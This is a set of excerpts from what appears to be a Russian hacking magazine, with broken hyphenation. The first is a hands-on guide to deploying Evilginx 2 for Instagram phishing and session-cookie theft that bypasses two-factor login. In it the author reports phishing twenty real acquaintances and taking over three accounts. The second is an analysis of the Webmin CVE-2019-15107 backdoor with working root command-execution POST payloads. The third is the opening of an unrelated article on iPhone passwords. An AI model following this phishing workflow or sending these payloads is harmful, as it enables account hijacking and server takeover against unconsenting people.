фика. Это было рож дение ком понен тов phishlets — готовых скрип тов для ими‐ 
тации струк туры популяр ных сай тов. На дан ный момент мы можем вос поль‐ 
зовать ся Evilginx вер сии уже 2.3.1.

EVILGINX 2 VS MODLISHKA
В    был  разоб ран  дру гой  инс тру мент  для  обхо да
двух фактор ной  аутен тифика ции — Modlishka.  На  тот  момент  в  нем  не  было
авто мати зиро ван ного  решения  проб лемы  с HTTPS  и  сер тифика том,  так  что
зак ручивать  эту  гай ку  при ходи лось  самому.  Да  и  запус тить  на  нем  мож но
было лишь один фишин говый сайт, что сни жает прак тичес кий эффект ата ки.

мо ей  пре дыду щей  статье

 лишен этих недос татков. На таком «ком бай не для фишин га» мож‐ 
но запус тить перех ват учет ных дан ных с нес коль ких сер висов одновре мен но
(под робнее об этом ниже). К тому же готовое решение с сер тифика том силь‐ 
но раз вязыва ет руки. На мой  взгляд, Evilginx  2 опе режа ет Modlishka на  нес‐ 
коль ко шагов из‐за  гра мот ного под хода и мак сималь ного  удобс тва исполь‐ 
зования.

Evilginx 2

На  дан ный  момент  про ект  пре тер пел  нес коль ко  релизов  и  про дол жает
раз вивать ся.  Нап ример,  в  пос ледних  обновле ниях  были  добав лены  JS‐инъ‐ 
екции. Они поз воля ют внед рять в тра фик свои скрип ты на JS, которые выпол‐ 
нятся на машине жер твы.

Я при вык, что все хакер ские ути литы пишут для Linux, одна ко Evilginx 2 дос‐ 
тупен и  , и в виде  . К моему удив лению, в «окнах»
он  работа ет  ничуть  не  хуже,  а  его  уста нов ка  ока залась  даже  про ще,  чем
на  Linux.  Прос то  ска чива ем  архив,  рас паковы ваем  его  в  любой  каталог
и  запус каем  экзешник.  Да,  это  пор тей бл‐ути лита,  которую  мож но  записать
хоть на флеш ку и  запус кать  в Windows,  начиная с  вер сии 7. Она не  тре бует
уста нов ки и не оставля ет сле дов в реес тре.

в Windows кон тей нера Docker

Evilginx 2 в Windows

Ре дак тировать файл .yml мож но из «Блок нота».

Ви жу,  как  у  тебя  зачеса лись  руки,  давай  перей дем  от  слов  к  делу.  Толь ко
занимать ся этим будем все же в Linux.

ГОТОВИМ БОЕВОЙ СТЕНД
За дача  сле дующая:  под нять  в  интерне те  сер вер  с  Evilginx  2  и  перех ватить
нес коль ко экзем пля ров учет ных дан ных от популяр ной соци аль ной сети.

Нач нем с того, что нам нуж на VDS с минималь ными сис темны ми тре бова‐ 
ниями. У меня были одно ядро с гигабай том опе ратив ной памяти и 30 Гб жес‐ 
тко го дис ка плюс белый IP‐адрес. На бор ту — Ubuntu 16.04. Конеч но же, нуж‐ 
но зарегать домен, при вязан ный к это му IP. Вот толь ко сде лать это бес плат но
в  излюблен ном мес те  халяв щиков —   —  не  получит ся.  Необ ходимо
иметь не одно домен ное имя, а домен ную зону, которую тебе делеги руют. Ее
мож но  купить  у  про вай дера,  нап ример  . При  покуп ке  домена  в  ком‐ 
плек те  идет  управле ние DNS,  где  ты  и  можешь  записью DNS  А  прик репить
домен ное  имя  к  IP‐адре су  или  наделать  под доменов,  которые  могут  при‐ 
годить ся для раз вития ата ки.

freedom

REG.RU

Идем на ново испе чен ный сер вер и пер вым делом ста вим сре ду раз работ‐ 
ки для язы ка Go, так как вто рой Evilginx написан на нем.

sudo add‐apt‐repository ppa:longsleep/golang‐backports
sudo apt‐get update
sudo apt‐get install golang‐go
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Про веря ем, все ли взле тело:

go env

Дол жен быть явно ука зан путь  .GOPATH

Вы вод тер минала env GO

Те перь ста вим сам Evilginx 2

apt‐get install git make
go get ‐u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install

Пе ред запус ком надо про верить, не заняты ли у нас пор ты 80 и 443. Они нуж‐ 
ны для прок сирова ния тра фика. Я подумал, что в чис той ОС они дол жны быть
сво бод ны,  и  ошиб ся.  80  порт  занял  пре дус танов ленный  Apache,  из‐за  чего
не смог авто матом сге нери ровать ся сер тификат.

netstat –antp

Про веря ем прос лушива емые пор ты ОС

Пос ле того, как необ ходимые пор ты осво бож дены, мож но запус тить сам сер‐ 
вер, прос то написав его имя в кон соли —  .evilginx

Ин терфейс Evilginx

Ес ли  пос ле  запус ка  сра зу  перей ти  на  фишин говый  сайт  по  его  домен ному
име ни,  то  прог рамма  прос то  перенап равит  посети теля  на  виде охос тинг
Youtube. Это дей ствие задано по умол чанию, а нуж ное тебе ты можешь выс‐ 
тавить в нас трой ках. Что бы уви деть нас трой ки, набира ем  .config

Де фол тная кон фигура ция

В  кон фиге  поле    дол жно  соот ветс тво вать  нашему  фишин говому
домену,    —  его  IP‐адре су.  Параметр    —  это  домен,
на который будет переб рошена жер тва, которая перей дет по чис той ссыл ке.
Задать нас трой ки мож но сле дующи ми коман дами:

domain
IP redirect_url

config domain yourDomain.com
config ip yourIP

Те перь  нем ного  об  устрой стве  всей  этой  стан ции.  Опи рать ся  при дет ся
на две сущ ности.

 — это кон фигура цион ные фай лы, зада ющие пра вила основной
работы  Evilginx.  В  них  ука зыва ется,  по  каким  парамет рам  опре делять  авто‐ 
риза цию,  как  выг лядят  cookie‐сес сии  и  все  осталь ные дан ные для  удач ного
фишин га.  Находят ся  они  в  одно имен ном  катало ге  рядом  с  прог раммой
и  име ют  рас ширение    .  Все го  их  уже  написа но  13  штук  для  раз ных
популяр ных  сай тов,  а  ско ро  навер няка  появят ся  еще.  Глав ное,  что  мож но
написать свои. Есть две вер сии фор мата написа ния: для релиза 2.2.0 и для
вер сии  2.3.0,  при нима ются  пока  обе.  Они  слег ка  отли чают ся  син такси сом
и воз можнос тями. Для каж дой из них име ется очень под робное  .

Phishlets

.yaml

опи сание

Вид кон фигура цион ного фай ла phishlets

По мимо фиш летов,  в Evilginx есть набор ловушек  ( ). Это  прог рам мные
фун кции,  которые  генери руют  ссыл ки,  раз руливая  под мену  тра фика  и  его
дви жение внут ри самой  хост‐машины в  зависи мос ти от  того,  куда мы  хотим
нап равить жер тву.

lures

Пе ред  тем  как  перей ти  к  работе,  сто ит  уточ нить  еще  один  момент:
в  домаш нем  катало ге  дол жна  появить ся  скры тая  дирек тория  с  наз вани ем
инс тру мен та. В ней находит ся основной кон фиг (парамет ры, которые мы ука‐ 
зыва ли), база дан ных (там будут пой ман ные кре ды и сес сии) плюс сер тификат
с клю чом. Если залезть в пот роха сер тифика та, то ста нет вид но, что он кор‐ 
невой, выдан сро ком на 10 лет и под писан как 
. Что бы вывес ти информа цию о нем, необ ходимо вос поль зовать ся коман‐ 

дой

Evilginx Super‐Evil Root 
CA

openssl x509 ‐in ca.crt  ‐text

Ин форма ция сер тифика та

INFO

Cовет:  если  ты  будешь  исполь зовать  VDS
и захочешь пос ле отклю чения от SSH‐сес сии вер‐ 
нуть ся  к    Evilginx,  исполь зуй  окон‐ 
ный менед жер с под дер жкой тер миналь ных сеан‐ 
сов  .

за пущен ному

Screen

Пе рехо дим  к  основной  работе.  Пер вым  делом  нам  необ ходимо  нас тро ить
фиш леты. Я буду исполь зовать фиш лет для Instagram. Что бы уви деть все кон‐ 
фиги, прос то вво дим коман ду  . Пока они пус тые. Добав ляем наш
домен к выб ранно му кон фигу:

phishlets

phishlets hostname instagram yourDomain

Те перь соз даем ловуш ку для поль зовате лей «Инсты»:

lures create instagram

В ито ге все дол жно выг лядеть как на скрин шоте ниже.

Прог рамма, под готов ленная к запус ку

За пус каем один или нес коль ко фиш летов:

phishlets enable Instagram

За пуск прог раммы

Что  про исхо дит?  Во‐пер вых,  генери рует ся  сер тификат  (это  как  раз  тот
момент,  ког да  все  может  рас сыпать ся  как  кар точный  дом,  если  будут
заняты  80  или  443  пор ты).  Генери рует ся  он  при  помощи  встро енной  прог‐ 
раммы Let's Encrypt, так что получа ется, что на фишин говый домен тебе выдан
валид ный (спа си нас всех великий Админ) сер тификат! Это реша ет проб лему
с HTTPS‐соеди нени ем и прав доподоб ностью все го про исхо дяще го.

Во‐вто рых,  про исхо дит  запуск  самого  прок си‐сер вера,  изна чаль но  пос‐ 
тро енно го  на  популяр ном  веб‐сер вере  Nginx.  Сей час  он  перепи сан  на  Go,
одна ко  сим воличес кое  наз вание  оста лось.  Начина ется  прос лушка  тра фика
и филь тра ция содер жимого по задан ным кон фигура циям фиш летов.

Что бы  уви деть  все  ловуш ки,  надо  наб рать:  .  Обра ти  вни мание
на таб лицу и стол бец  id. Для получе ния готовой фишин говой ссыл ки вво дим

, где   — это циф ра из таб лицы.

lures

lures get‐url id id

ТЕСТИРУЕМ СЕРВЕР
Пе ред тем как замани вать жер тву по ссыл ке, надо про тес тировать наш сер‐ 
вер  и  уточ нить  некото рые  детали.  Заходим  сами  по  фишин говой  ссыл ке
и видим перед собой стра ницу с пред ложени ем авто ризо вать ся в  Instagram.
Все  выг лядит  убе дитель но.  Вво дим  логин,  пароль  и  код  из  SMS.  Отлично,
роль жер твы исполне на!

В это же вре мя на сер вере про исхо дит вот что: в тер минале будет хорошо
вид но,  что  кто‐то посещал  твою стра ницу. При перех вате аутен тифика цион‐ 
ных  дан ных  они  сра зу  отоб разят ся.  Как  толь ко  кре ды  перех вачены,  они
записы вают ся в базу дан ных. Уви деть их мож но, вве дя коман ду  .sessions

Пе рех вачен ный логин и пароль

Но  как  же  быть  с  2FA?  В  тот  момент,  ког да  жер тва  вво дит  пароль  из  SMS‐
сооб щения, Evilginx 2 перех ватыва ет еще и сес сию авто риза ции, или cookie.
Если в тер минале Evilginx появи лась стро ка: «all authorization tokens intercept‐
ed!», это как раз говорит об успешном зах вате сес сии. Уви деть ста тус перех‐ 
вата мож но, наб рав коман ду  .session id

Сес сия жер твы

Что бы  импорти ровать  сес сию  в  бра узер,  мож но  вос поль зовать ся  пла гином
.  Все,  теперь  мы  авто ризо ваны  в  Instagram  от  име ни  жер твы,

а логин и пароль нам вооб ще не нуж ны!
EditThisCookie

ПЕРВЫЕ ЖЕРТВЫ
Ос тает ся пос ледний этап — про вер ка боем. Я разос лал двад цати зна комым
из  сво его  спис ка  кон тактов  сооб щение  с  фишин говой  ссыл кой  и  фра зой
«При коль но при дума ли!».

При мер фишин говой рас сылки

Эти  люди  меня  зна ли,  а  боль шинс тво  авто мати чес ки  доверя ют  зна комым.
К  тому  же  есть  эле мент  интри ги.  Инте рес но  же  узнать,  что  там  такого  при‐ 
дума но? Тем более в WhatsApp авто мати чес ки добави лось превью веб‐стра‐ 
ницы с логоти пом Instagram.

Эти  два  аспекта  я  брал  как  опор ные  точ ки  ата ки.  В  ито ге
из 20 человек 16 переш ли по ссыл ке и трое решились ввес ти логин и пароль.
Ско рее  все го,  осталь ные  полени лись  их  вспом нить,  так  как  поль зуют ся
«Инстаг рамом»  через  при ложе ние  и  не  авто ризу ются  в  нем  каж дый  раз.
Никаких  воп росов мне  не  задава ли  и  сом нений  в  безопас ности  про цеду ры
не выража ли.

Ре зуль тат «рыбал ки»

Ког да  три  челове ка  сли ли  свои  кре ды  и  ничего  необыч ного  по  ссыл ке
не обна ружи ли, они спро сили: «Что же там такого?». Я прос то отве тил: «Уже
ничего. Навер ное, это была тес товая шту кови на». На этом все сом нения раз‐ 
веялись. Во все три акка унта я мог вой ти без пароля, исполь зуя сес сии. Так
что 2FA боль ше не защища ла их.

Важ ный момент: пос коль ку боль шинс тво поль зовате лей смот рят Instagram
через  при ложе ние,  пос ле  фишин говой  ата ки  у  меня  оста ется  дли тель ный
дос туп.  Сес сия  авто риза ции  живет  до  того  момен та,  пока  поль зователь
заново  не  зай дет  по  фишин говой  ссыл ке  или  не  вый дет  из  акка унта.  Обе
ситу ации  малове роят ны.  Учи тывая  эти  прак тичес кие  аспекты,  дер жать  вир‐ 
туаль ную свеч ку у жер твы над головой мож но очень и очень дол го.

ЗАЩИТА
У меня был тес товый стенд, под нятый с целью демонс тра ции воз можнос тей
Evilginx  2.  Поэто му  я  не  стал  замора чивать ся  с  обфуска цией  ата ки  и  нак‐ 
ладывать допол нитель ные слои для запуты вания — все было под нято на раз
и на голом ске лете. Как показа ла прак тика, даже в таком виде ата ка успешно
работа ет.

Ка кие‐либо  тех ничес кие  меры  для  защиты  от  подоб ных  атак  при думать
слож но.  Тем  более  что  авто риза ция  через  соц сети  может  быть  встро ена
на  любой  сайт.  Поэто му  глав ным  «анти виру сом»  будет  обыч ный  прин цип
разум ного сом нения. Если  ты перехо дишь по прис ланной ссыл ке,  а  в  ито ге
откры вает ся приг лашение ввес ти дан ные сво ей учет ки в  Instagram (или дру‐ 
гом сер висе), в голове дол жен раз давать ся тре вож ный зво нок.

WWW

•Опи сание и работа Evilginx 2
•Опи сание DNS
•Ис поль зование Evilginx 2
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В популяр ной панели управле ния сер вером
 обна ружи лась уяз вимость, которая

боль ше  все го  похожа  на  оставлен ную
кем‐то  зак ладку.  Ата кующий  в  резуль тате
может  выпол нять  про изволь ный  код
на целевой сис теме с пра вами супер поль‐ 
зовате ля.  Давай  пос мотрим,  как  это
работа ет,  в  чем  зак люча ется  проб лема
и как с ней бороть ся.

Webmin

Webmin  пол ностью  написан  на  Perl,  без  исполь зования  нес тандар тных
модулей. Он сос тоит из прос того веб‐сер вера и нес коль ких скрип тов — они
свя зыва ют  коман ды,  обес печива ющие  исполне ние  команд,  которые  поль‐ 
зователь  отда ет  в  веб‐интерфей се,  на  уров не  опе раци онной  сис темы
и  внеш них  прог рамм.  Через  веб‐админку  мож но  соз давать  новые  учет ные
записи поль зовате лей, поч товые ящи ки, изме нять нас трой ки служб и раз ных
сер висов и все в таком духе.

Уяз вимость  находит ся  в  модуле  вос ста нов ления  пароля.  Манипу лируя
парамет ром   в скрип те  ,  ата кующий может выпол‐ 
нять  про изволь ный  код  на  целевой  сис теме  с  пра вами  супер поль зовате ля,
что наводит на мыс ли об умыш ленном харак тере это го бага. Что еще подоз‐ 
ритель нее — проб лема при сутс тву ет толь ко в готовых сбор ках дис три бути ва
с SourceForge, а в исходни ках на GitHub ее нет.

old password_change.cgi

INFO

Уяз вимость  получи ла  иден тифика тор 
.

CVE‐2019‐
15107

СТЕНД
Для  демонс тра ции  уяз вимос ти  нам  понадо бят ся  две  вер сии  дис три бути ва
Webmin — 1.890  и  1.920,  так  как  тес товые окру жения  для  них  нем ного  раз‐ 
лича ются. Для это го вос поль зуем ся дву мя кон тей нерами Docker.

$ docker run ‐it ‐‐rm ‐p10000:10000 ‐‐name=webminrce18 ‐‐hostname=
webminrce18.vh debian /bin/bash
$ docker run ‐it ‐‐rm ‐p20000:10000 ‐‐name=webminrce19 ‐‐hostname=
webminrce19.vh debian /bin/bash

Те перь уста новим необ ходимые зависи мос ти.

$ apt‐get update ‐y && apt install ‐y perl libnet‐ssleay‐perl 
openssl libauthen‐pam‐perl libpam‐runtime libio‐pty‐perl nano wget 
python apt‐show‐versions

Во  вре мя  уста нов ки    у  меня  воз никла  проб лема  (на
скрин шоте ниже).

apt‐show‐versions

Проб лема при уста нов ке apt‐show‐versions через apt

Сле дующие коман ды помога ют ее устра нить:

$ apt‐get purge ‐y apt‐show‐versions
$ rm /var/lib/apt/lists/*lz4
$ apt‐get ‐o Acquire::GzipIndexes=false update ‐y
$ apt install ‐y apt‐show‐versions

Пос ле  это го  ска чива ем  соот ветс тву ющие  вер сии  дис три бути вов
с SourceForge.

$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.890_all.
deb
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.
deb

И уста нав лива ем их.

$ dpkg ‐‐install webmin_1.890_all.deb
$ dpkg ‐‐install webmin_1.920_all.deb

Ус танов ка обе их вер сий Webmin закон чена

Те перь запус каем демоны Webmin.

$ service webmin start

Вер сия 1.890 дос тупна на дефол тном пор те 10000, а 1.920 — на 20000.

Го товые к экс плу ата ции стен ды с Webmin

Ос талось  толь ко  уста новить  пароль  для  поль зовате ля    при  помощи
коман ды  , и стен ды готовы. Перехо дим к деталям уяз вимос ти.

root
passwd

Продолжение статьи →

https://twitter.com/iamsecurity
http://www.webmin.com/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15107
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ДЕТАЛИ
Сна чала раз берем ся с вер сией 1.920. Проб лема — в фун кции сме ны пароля,
а сама она находит ся в фай ле  . Так как проб лема зат‐ 
ронула толь ко вер сию при ложе ния с SourceForge, мож но лег ко узнать, в чем
раз ница с той, что лежит на GitHub.

password_change.cgi

Раз ница меж ду фай лами password_change.cgi в Webmin вер ‐
сии 1.920 с GitHub и SourceForge

Ви дим, что добав лен вызов фун кции  .qx

webmin-1.920-github/password_change.cgi
40:     $enc eq $wuser‐>{'pass'} || &pass_error($text{'password_eold'
});

webmin-1.920-sourceforge/password_change.cgi
40:     $enc eq $wuser‐>{'pass'} || &pass_error($text{'password_eold'
},qx/$in{'old'}/);

Ин терес ные изме нения. Но не будем спе шить, сна чала раз берем ся, как доб‐ 
рать ся до этой час ти кода.

В начале скрип та про веря ется,  какой режим пароль ной полити ки выб ран
в нас трой ках.

password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not 
enabled!";

Ав торизу емся  в  панели  управле ния  Webmin  как  root  и  зай дем  в  нас трой ки
аутен тифика ции  (Webmin  →  Webmin  Configuration  →  Authentication),  здесь
нуж но най ти пункт Password expiry policy и уста новить его в Prompt users with
expired passwords to enter a new one.

Ме няем пароль ную полити ку в Webmin 1.920

Те перь  перемен ная    име ет  зна чение  ,  что  мож но  про верить
в  кон фигура цион ном  фай ле,  и  выпол нение  скрип та  не  будет  пре рывать ся
на стро ке  .

passwd_mode 2

12

Зна чение нас трой ки passwd_mode в кон фиге Webmin 1.920

Что бы  наг лядно  уви деть  фор му  для  изме нения  пароля,  давай  перей дем
в раз дел редак тирова ния поль зовате лей и соз дадим тес тового юзе ра. Здесь
уста новим опцию Force change at next login.

Соз дание тес тового поль зовате ля в Webmin

Те перь  при  авто риза ции  от  его  име ни  сис тема  поп росит  уста новить  новый
пароль.  Дан ные  этой  фор мы  как  раз  и  будут  отправ лены  на  скрипт 

.
pass‐

word_change.cgi

Фор ма изме нения пароля поль зовате ля

Итак, запол ним фор му, отпра вим и перех ватим зап рос. Теперь воз вра щаем‐ 
ся  к  скрип ту.  Мас сив    содер жит  поль зователь ские  дан ные,  которые
переда ются в теле зап роса POST.

$in

password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'
});

Здесь про веря ется, что новый пароль уста нов лен (перемен ная  ) и он оба
раза вве ден вер но (  ==  ).

new1
new1 new2

Да лее  Webmin  выпол няет  про вер ку  на  наличие  и  воз можность  исполь‐ 
зования модуля   (access‐control list).acl

password_change.cgi
19: if (&foreign_check("acl")) {

Ес ли такой модуль есть, то под гру жаем его.

20:     &foreign_require("acl", "acl‐lib.pl");

Из наз вания понят но, что модуль работа ет со спис ком управле ния дос тупом.
Он  выпол няет  раз ные  опе рации  с  поль зовате лями:  редак тирова ние,  изме‐ 
нение паролей и прав.

Скрипт  выбира ет  из  спис ка  поль зовате лей юзе ра,  которо му  нуж но  уста‐ 
новить новый пароль. Имя поль зовате ля берет ся из поля   фор мы сме ны
пароля.

user

password_change.cgi
21:     ($wuser) = grep { $_‐>{'name'} eq $in{'user'} } &acl::list_u
sers();

Да вай  нем ного  поиг раем  в  тес тиров щиков  и  пос мотрим  на  перемен ную
. Для это го нуж но добавить в скрипт вклю чение модуля  ,

пос ле  чего мож но  будет  выводить  информа цию  о  перемен ных  при  помощи
конс трук ции  .

$wuser Data::Dumper

Dumper($var_name)

password_change.cgi
6:     use Data::Dumper;
...
21:     ($wuser) = grep { $_‐>{'name'} eq $in{'user'} } &acl::list_u
sers(); print Dumper($wuser);

От ладка перемен ной $wuser. Свой ства поль зовате ля test

В Webmin поль зовате ли быва ют двух типов: сис темные, которые сущес тву ют
непос редс твен но в ОС, и внут ренние юзе ры при ложе ния. Спи сок сис темных
поль зовате лей  в  Linux  ты  можешь  най ти  в  фай ле  ,  имен но
из него и берет информа цию Webmin. Поэто му у таких поль зовате лей свой‐ 
ство   будет иметь зна чение  .

/etc/passwd

pass x

Свой ства сис темно го поль зовате ля root. Обра ти вни мание на перемен ‐
ную pass

Ес ли мы будем исполь зовать такого юзе ра в фор ме сме ны пароля, то это не
поз волит нам попасть в нуж ное усло вие и доб рать ся до нуж ного учас тка кода.

$wuser = {
    'name' => 'root',
    'pass' => 'x',
    'readonly' => undef,
    'lastchange' => '',
    'real' => undef,
    'twofactor_apikey' => undef,
    'lang' => 'ru.UTF‐8',
    ...
};

password_change.cgi
22:     if ($wuser‐>{'pass'} eq 'x') {
23:         # A Webmin user, but using Unix authentication
24:         $wuser = undef;
25:         }
...
37: if ($wuser) {
38:     # Update Webmin user's password
39:     $enc = &acl::encrypt_password($in{'old'}, $wuser‐>{'pass'});
40:     $enc eq $wuser‐>{'pass'} || &pass_error($text{'password_eold'
},qx/$in{'old'}/);

Ес ли  ты  пос тавишь  вывод  зна чения  перемен ной  пря мо  перед  усло вием,  то
уви дишь,  что  при  попыт ке  изме нить  пароль  сис темно му  поль зовате лю  она
будет иметь зна чение  .undef

password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38:     # Update Webmin user's password
39:     $enc = &acl::encrypt_password($in{'old'}, $wuser‐>{'pass'});

Сос тояние перемен ной wuser при попыт ке изме нить пароль сис темно го
поль зовате ля

Од нако  не  все  так  пло хо.  Если  ука зать  несущес тву юще го  поль зовате ля,  то
перемен ная ста нет пус той, но не неоп ределен ной. И в таком слу чае усло вие

 будет счи тать ся исти ной.if ($wuser)

password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38:     # Update Webmin user's password
39:     die 'We are here!'; $enc = &acl::encrypt_password($in{'old'},
$wuser‐>{'pass'});

Ука зыва ем имя несущес тву юще го поль зовате ля, что бы попасть к нуж ‐
ному учас тку кода

Здесь  ста рый  пароль,  который  мы  переда ли  в  фор ме,  срав нива ется
с  текущим  паролем  поль зовате ля.  Естес твен но,  эта  часть  выраже ния  будет
лож ной,  так  как  никако го  поль зовате ля    не  сущес тву ет.
Поэто му  выпол няет ся  вто рая  часть  усло вия,  где  выводит ся  сооб щение
об ошиб ке, а к нему добав ляет ся то, что вер нет конс трук ция 

nonexistentuser

.qx/$in{'old'}/

password_change.cgi
37: if ($wuser) {
...
39:     $enc = &acl::encrypt_password($in{'old'}, $wuser‐>{'pass'});
40:     $enc eq $wuser‐>{'pass'} || &pass_error($text{'password_eold'
},qx/$in{'old'}/);

Что  же  это  за  фун кция  —  ?  Это  аль тер натива  исполь зованию  обратных
кавычек для выпол нения сис темных команд. В качес тве раз делите лей мож но
исполь зовать любые сим волы, в нашем слу чае это  . То есть, про ще говоря,
будет выпол нена коман да, которая переда на в качес тве ста рого пароля ( )
поль зовате ля.

qx

/
old

Да вай про тес тиру ем это и поп робу ем передать, нап ример,  .uname ‐a

POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content‐Length: 52
Content‐Type: application/x‐www‐form‐urlencoded
Referer: https://webminrce19.vh:20000/session_login.cgi

user=nonexistentuser&pam=1&expired=2&old=uname+‐a&new1=any&new2=any

Уда лен ное выпол нение команд в Webmin 1.920

Ву аля!  Коман да  была  выпол нена,  и    любез но  пре дос тавила
резуль тат ее работы на экра не.

pass_error

Та ким  обра зом,  если  пароль ная  полити ка Webmin  1.920  раз реша ет  зап‐ 
рашивать новые аутен тифика цион ные дан ные у поль зовате лей с прос рочен‐ 
ными пароля ми, то при такой кон фигура ции воз можно уда лен ное выпол нение
команд от име ни супер поль зовате ля.

С этой вер сией разоб рались, теперь перей дем к более ста рой 1.890. 
Сно ва срав ним файл   из двух источни ков.password_change.cgi

Раз ница меж ду вер сиями фай ла password_change.cgi Webmin вер ‐
сии 1.890 из GitHub и SourceForge

webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not 
enabled!";

webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{
'expired'}/;

Здесь есть похожая конс трук ция с   —  , толь ко на этот
раз она была исполь зована еще более дер зко.

qx qx/$in{'expired'}/

Сна чала обра щаю  твое вни мание на  то,  что  вмес то про вер ки пароль ной
полити ки исполь зует ся прос тая про вер ка перемен ной   на то,
не пус тая ли она. Так как   — это поль зователь ские дан ные из зап роса, то
обой ти эту про вер ку не сос тавит никако го  тру да. Для это го дос таточ но  ука‐ 
зать любое зна чение в парамет ре   при зап росе к скрип ту. К тому же
дан ные  из  это го  парамет ра  и  явля ются  тем,  что  будет  выпол нено.  Поэто му
прос то ука зыва ем необ ходимую коман ду.

$in{'expired'}
$in

expired

POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content‐Length: 52
Content‐Type: application/x‐www‐form‐urlencoded
Referer: https://webminrce18.vh:10000/session_login.cgi

expired=id

И сер вер вер нет резуль тат ее выпол нения.

Ус пешное выпол нение про изволь ного кода в Webmin 1.890

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Се год ня  мы  узна ли,  что  не  сто ит  сле по  доверять  даже  таким  источни кам,
как  .  Если  есть  нес коль ко  спо собов  ска чать  при ложе ния,  то
мож но  све рить  их  кон троль ные  сум мы.  А  если  ты  ста вишь  дис три бутив
на сер вер, где будет идти работа с важ ными дан ными, то этот пункт ста новит‐ 
ся еще акту аль нее.

sourceforge.net

Ес ли ты сам раз работ чик, то почаще про веряй, что ты заг ружа ешь на раз‐ 
ные  ресур сы:  вер сии  не  дол жны  рас ходить ся.  А  еще  луч ше  исполь зовать
какое‐то средс тво авто мати чес кого ауди та исходни ков, которое пре дуп редит
о  подоз ритель ных  наход ках.  Это,  конеч но,  не  панацея,  но  в  таких  слу чаях
может выручить.

Ес ли же  ты  уже  исполь зуешь Webmin  и  хочешь  изба вить ся  от  опи сан ной
зак ладки, то это прос то. Дос таточ но уда лить вызов фун кции  , а так же вер‐ 
нуть про вер ку   в Webmin вер сии 1.890.

qx
passwd_mode

Ес ли  хочешь  поболь ше  узнать  о  том,  как  получи лось,  что  бэк дор  попал
в  релиз  дис три бути ва,  рекомен дую  озна комить ся  с 

 событий, написан ной раз работ чиками Webmin.
офи циаль ной  хро ноло‐ 

гией

https://perldoc.perl.org/Data/Dumper.html
https://www.tutorialspoint.com/perl/perl_qx.htm
https://vimeo.com/370804102
https://sourceforge.net/
http://www.webmin.com/exploit.html
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ПРИВАТНОСТЬ

Па роли  —  один  из  самых  ста рых  методов
аутен тифика ции.  Нес мотря  на  поч тенный
воз раст, они оста ются основным спо собом
убе дить ся в том, что поль зователь — имен‐ 
но  тот,  за  кого  себя  выда ет.  Пароли
недаром  поль зуют ся  популяр ностью.  Хоть
у  них  и  мно жес тво  недос татков,  у  паролей
есть и несом ненные дос тоинс тва: при дол‐ 
жном  кон тро ле  они  могут  быть  как  дос‐ 
таточ но  безопас ными,  так  и  впол не
запоми наемы ми.

Что  важ нее  —  безопас ность  или  запоми наемость?  Воп рос  не  такой
однознач ный,  каким  кажет ся.  Еще  иссле дова ние  2017  года  показа ло,  что
у самого обыч ного поль зовате ля поряд ка двад цати учет ных записей. У сред‐ 
него офис ного работ ника исполь зовалась 191 учет ная запись — и это толь ко
те пароли, которые вво дят ся в окно бра узе ра.

Ка кие еще пароли быва ют? Если у тебя iPhone, то, ско рее все го, тебе при‐ 
ходит ся иметь дело с четырь мя (или пятью — как пос мотреть) пароля ми, тес‐ 
но свя зан ными меж ду собой. Вот они:
1. Код бло киров ки экра на (это пароль, которым ты раз бло киру ешь iPhone).
2. Па роль от iCloud (он же — пароль от учет ной записи Apple ID).
3. Па роль  от  резер вной  копии  iTunes  (с  его  помощью  будет  зашиф рована
резер вная копия iPhone, если соз дать ее на компь юте ре).

4. Па роль  «Экранно го  вре мени»  (поз воля ет  защитить  перечис ленные  выше
пароли от сбро са,  а  так же  уста нав ливать огра ниче ния на исполь зование
устрой ства).

5. Од норазо вый  код  двух фактор ной  аутен тифика ции  (будем  счи тать  его
«половин кой» пароля; исполь зует ся толь ко в учет ных записях, на которых
вклю чена двух фактор ная аутен тифика ция).

Все эти пароли свя заны дос таточ но запутан ной сис темой вза имоот ношений,
в которой нелег ко разоб рать ся даже спе циалис там. Мы уже писали о некото‐ 
рых  вза имос вязях  (нап ример,  о  том,  что  пароль  на  резер вную  копию  iTunes
мож но  сбро сить,  если  известен  код  бло киров ки  экра на),  но  пароли  переп‐ 
летены друг с дру гом гораз до тес нее, чем мы опи сыва ли ранее.

В этой статье при веде ны все извес тные нам вза имос вязи и вза имо зави‐ 
симос ти  меж ду  пароля ми,  а  так же  спо собы,  при  помощи  которых  мож но
сбро сить один пароль, если известен дру гой.

КОД БЛОКИРОВКИ ЭКРАНА

Код бло киров ки — самый важ ный пароль (а точ нее, кодовая фра за), который
вла дель цы  iPhone  исполь зуют  чаще  всех  осталь ных,  вмес те  взя тых.  Этот
пароль при меня ется при нас трой ке iPhone. По умол чанию сис тема пред лага‐ 
ет уста новить код бло киров ки из шес ти цифр, но мож но пос тавить и PIN‐код
поп роще — из четырех цифр. Мож но выб рать и более слож ный код бло киров‐ 
ки, сос тоящий из про изволь ного количес тва цифр (как в Android) или из бук‐ 
венно‐циф ровой пос ледова тель нос ти про изволь ной дли ны.

Циф ровой пароль про изволь ной дли ны

При  нас трой ке  кода  бло киров ки  будет  уста нов лено  соеди нение  с  iCloud;
это  необ ходимо  для  того,  что бы  добавить  устрой ство  в  доверен ный  круг,
учас тни ки  которо го  могут  безопас но  син хро низи ровать  такие  дан ные,
как пароли («Облачная связ ка клю чей»), «Здо ровье», сооб щения и «Экранное
